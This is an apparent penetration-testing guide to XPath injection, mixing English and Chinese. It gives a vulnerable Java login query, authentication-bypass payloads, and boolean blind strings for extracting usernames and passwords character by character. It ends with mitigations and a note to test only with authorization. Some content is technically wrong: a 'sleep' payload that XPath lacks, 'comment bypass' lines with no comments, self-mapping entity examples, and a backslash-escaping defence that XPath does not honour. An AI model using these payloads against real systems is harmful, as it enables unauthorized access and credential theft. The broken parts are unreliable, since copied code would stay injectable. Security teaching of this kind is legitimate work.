Overview
XPath injection is a vulnerability similar to SQL injection that exploits flaws in the construction of XPath query statements and can lead to information disclosure, authentication bypass, and more. This skill provides methods for detecting, exploiting, and preventing XPath injection.
Vulnerability Principle
The application concatenates user input directly into XPath query statements without sufficient validation and filtering, allowing attackers to modify the query logic.
Dangerous Code Example:
String xpath = "//user[username='" + username + "' and password='" + password + "']";
XPathExpression expr = xpath.compile(xpath);
NodeList nodes = (NodeList) expr.evaluate(doc, XPathConstants.NODESET);
XPath Basics
Query Syntax
Basic Query:
//user[username='admin']
//user[@id='1']
//user[username='admin' and password='pass']
//user[username='admin' or username='user']
Functions
Common Functions:
text()- Get text contentcount()- Countsubstring()- Substringstring-length()- String lengthcontains()- Contains check
Testing Methods
1. Identify XPath Input Points
Common Features:
- User login
- Data search
- XML data query
- Configuration query
2. Basic Detection
Test special characters:
' or '1'='1
' or '1'='1' or '
' or 1=1 or '
') or ('1'='1
Test logical operators:
' or '1'='1
' and '1'='2
' or 1=1 or '
3. Authentication Bypass
Basic bypass:
用户名: admin' or '1'='1
密码: anything
查询: //user[username='admin' or '1'='1' and password='anything']
More precise bypass:
用户名: admin') or ('1'='1
查询: //user[username='admin') or ('1'='1' and password='*']
4. Information Disclosure
Enumerate users:
' or 1=1 or '
' or '1'='1
') or 1=1 or ('
Get node count:
' or count(//user)>0 or '
Get specific node:
' or substring(//user[1]/username,1,1)='a' or '
Exploitation Techniques
Authentication Bypass
Method 1: Logic bypass
输入: admin' or '1'='1
查询: //user[username='admin' or '1'='1' and password='*']
结果: 匹配所有用户
Method 2: Comment bypass
输入: admin')] | //* | //*[('
查询: //user[username='admin')] | //* | //*[('' and password='*']
Method 3: Boolean blind injection
' or substring(//user[1]/username,1,1)='a' or '
' or substring(//user[1]/username,1,1)='b' or '
Information Disclosure
Enumerate all users:
' or 1=1 or '
结果: 返回所有用户节点
Get username:
' or substring(//user[1]/username,1,1)='a' or '
' or substring(//user[1]/username,2,1)='d' or '
逐步获取每个字符
Get password:
' or substring(//user[1]/password,1,1)='p' or '
逐步获取密码字符
Blind Injection Techniques
Time-based blind injection:
' or count(//user[substring(username,1,1)='a'])>0 and sleep(5) or '
Boolean-based blind injection:
' or substring(//user[1]/username,1,1)='a' or '
观察响应差异
Bypass Techniques
Encoding Bypass
URL encoding:
' or '1'='1 → %27%20or%20%271%27%3D%271
HTML entity encoding:
' → '
" → "
< → <
> → >
Comment Bypass
Use comments:
' or 1=1 or '
' or '1'='1' or '
Function Bypass
Use different functions:
substring(//user[1]/username,1,1)
substring(//user[position()=1]/username,1,1)
//user[1]/username/text()[1]
Tool Usage
XPath Expression Testing
Online tools:
- XPath Tester
- XMLSpy
- Oxygen XML Editor
Burp Suite
- Intercept XPath query requests
- Modify query parameters
- Observe response results
Python Script
from lxml import etree
from lxml.etree import XPath
# 加载XML文档
doc = etree.parse('users.xml')
# 测试注入
xpath_expr = "//user[username='admin' or '1'='1']"
xpath = XPath(xpath_expr)
results = xpath(doc)
print(results)
Verification and Reporting
Verification Steps
- Confirm that the XPath query can be controlled
- Verify authentication bypass or information disclosure
- Assess impact (unauthorized access, data leakage, etc.)
- Record the complete POC
Report Key Points
- Vulnerability location and input parameters
- How the XPath query is constructed
- Complete exploitation steps and PoC
- Remediation recommendations (input validation, parameterized queries, etc.)
Protective Measures
Recommended Solutions
-
Input validation
private static final String[] XPATH_ESCAPE_CHARS = {"'", "\"", "[", "]", "(", ")", "=", ">", "<", " "}; public static String escapeXPath(String input) { if (input == null) { return null; } StringBuilder sb = new StringBuilder(); for (int i = 0; i < input.length(); i++) { char c = input.charAt(i); if (Arrays.asList(XPATH_ESCAPE_CHARS).contains(String.valueOf(c))) { sb.append("\\"); } sb.append(c); } return sb.toString(); } -
Parameterized queries
// 使用XPath变量 String xpath = "//user[username=$username and password=$password]"; XPathExpression expr = xpath.compile(xpath); XPathVariableResolver resolver = new MapVariableResolver( Map.of("username", escapedUsername, "password", escapedPassword)); expr.setXPathVariableResolver(resolver); -
Whitelist validation
// 只允许特定字符 if (!input.matches("^[a-zA-Z0-9@._-]+$")) { throw new IllegalArgumentException("Invalid input"); } -
Use precompiled queries
// 预定义查询模板 private static final String LOGIN_QUERY = "//user[username=$1 and password=$2]"; // 使用参数绑定 -
Least privilege
- Limit the scope of XPath queries
- Use access control
- Restrict queryable nodes
Precautions
- Conduct only in authorized testing environments
- Note the syntax differences between different XPath versions
- Avoid affecting XML data during testing
- Understand the XPath implementation of the target application